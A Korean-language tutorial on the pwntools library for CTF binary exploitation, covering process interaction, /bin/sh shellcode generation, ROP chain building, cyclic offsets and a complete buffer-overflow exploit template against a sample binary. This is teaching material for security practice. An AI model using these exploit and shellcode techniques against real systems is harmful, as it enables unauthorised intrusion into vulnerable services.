Pwntools로 CTF 바이너리 익스플로잇하기
바이너리 익스플로잇은 CTF에서 가장 도전적이면서도 보람 있는 카테고리 중 하나다. 근본적인 취약점을 이해하는 것도 중요하지만, 올바른 도구를 갖추는 것이 문제 해결과 막힘의 차이를 만들 수 있다. 바로 pwntools — CTF 바이너리 익스플로잇의 사실상 표준이 된 Python 라이브러리다.
Pwntools란?
Pwntools는 Python으로 작성된 CTF 프레임워크이자 익스플로잇 개발 라이브러리다. 프로세스 상호작용, 셸코드 생성, ROP 체인 구축 등 일반적인 익스플로잇 개발 작업을 위한 깔끔하고 직관적인 API를 제공한다. 로컬 바이너리를 익스플로잇하든 원격 서비스를 공격하든, pwntools가 워크플로우를 간소화해 준다.
설치
시작은 간단하다:
pip install pwntools
최신 개발 버전을 원한다면:
git clone https://github.com/Gallopsled/pwntools
cd pwntools
pip install -e .
핵심 기능
프로세스 상호작용
가장 기본적인 사용 사례는 프로세스와 상호작용하는 것이다. Pwntools가 이를 매우 간단하게 만들어 준다:
from pwn import *
# 로컬 프로세스
p = process('./vulnerable_binary')
# 원격 연결
r = remote('ctf.example.com', 1337)
# 데이터 송수신
p.sendline(b'A' * 100)
data = p.recv(1024)
p.interactive() # 인터랙티브 모드로 전환
셸코드 생성
셸코드가 필요하다면? Pwntools가 해결해 준다:
from pwn import *
# execve("/bin/sh")용 셸코드 생성
shellcode = asm(shellcraft.sh())
# 아키텍처 특정 셸코드
context.arch = 'amd64'
shellcode_64 = asm(shellcraft.amd64.linux.sh())
ROP 체인 구축
Return-Oriented Programming은 현대 익스플로잇에 필수적이다. Pwntools에는 강력한 ROP 모듈이 포함되어 있다:
from pwn import *
elf = ELF('./binary')
rop = ROP(elf)
# 가젯 찾기 및 체인 구축
rop.call('system', [next(elf.search(b'/bin/sh'))])
payload = b'A' * 72 + rop.chain()
패킹과 언패킹
주소를 바이트로 변환하는 것은 익스플로잇에서 필수적이다:
from pwn import *
# 주소 패킹 (context.arch 반영)
address = p64(0xdeadbeef) # 64비트
address = p32(0xcafebabe) # 32비트
# 데이터 언패킹
value = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')
실전 예시: 버퍼 오버플로우
클래식 버퍼 오버플로우에 대한 완전한 익스플로잇:
from pwn import *
# 타깃 설정
elf = ELF('./vuln')
p = process('./vuln')
# 오프셋 찾기
offset = 72
# 익스플로잇 구축
payload = flat(
b'A' * offset,
elf.symbols['win'] # win 함수로 점프
)
p.sendline(payload)
p.interactive()
고급 기능
사이클릭 패턴
사이클릭 패턴으로 오프셋 찾기가 쉬워진다:
from pwn import *
# 고유 패턴 생성
pattern = cyclic(200)
# 크래시 후 오프셋 찾기
offset = cyclic_find(0x61616171) # 'qaaa'
ELF 파싱
Pwntools는 ELF 바이너리를 파싱하고 유용한 정보를 추출한다:
from pwn import *
elf = ELF('./binary')
print(hex(elf.symbols['main']))
print(hex(elf.got['puts']))
print(hex(elf.plt['system']))
로깅
내장 로깅으로 디버깅이 쉬워진다:
from pwn import *
log.info("익스플로잇 시작...")
log.success("셸 획득!")
log.warning("ASLR 감지")
log.error("익스플로잇 실패")
베스트 프랙티스
초기에 컨텍스트 설정: 시작 시 타깃 아키텍처와 OS를 항상 설정하라:
context.arch = 'amd64'
context.os = 'linux'
템플릿 사용: 일반적인 시나리오를 위한 재사용 가능한 익스플로잇 템플릿을 만들어라.
디버그 모드: 모든 통신을 볼 수 있게 디버깅을 활성화하라:
context.log_level = 'debug'
로컬 먼저 테스트: 원격 타깃을 공격하기 전에 항상 로컬 바이너리에서 익스플로잇을 테스트하라.
마치며
Pwntools는 바이너리 익스플로잇을 지루한 바이트 조작에서 표현력 있는 Python 코드로 변환한다. 방대한 기능 세트가 보일러플레이트를 처리하여, 취약점 자체에 집중할 수 있게 해준다. CTF 입문자든 베테랑 플레이어든 pwntools 마스터링은 바이너리 익스플로잇 능력을 크게 향상시킬 것이다.
라이브러리는 활발하게 유지 관리되고, 잘 문서화되어 있으며, 강력한 커뮤니티가 있다. 간단한 버퍼 오버플로우부터 시작해서 ROP 체인, 포맷 스트링, 힙 익스플로잇으로 발전해 나가자. Pwntools로 무장하면 금방 문제를 pwn할 수 있을 것이다.
참고 자료:
- 공식 문서: https://docs.pwntools.com
- GitHub: https://github.com/Gallopsled/pwntools
- CTF Wiki: https://ctf-wiki.org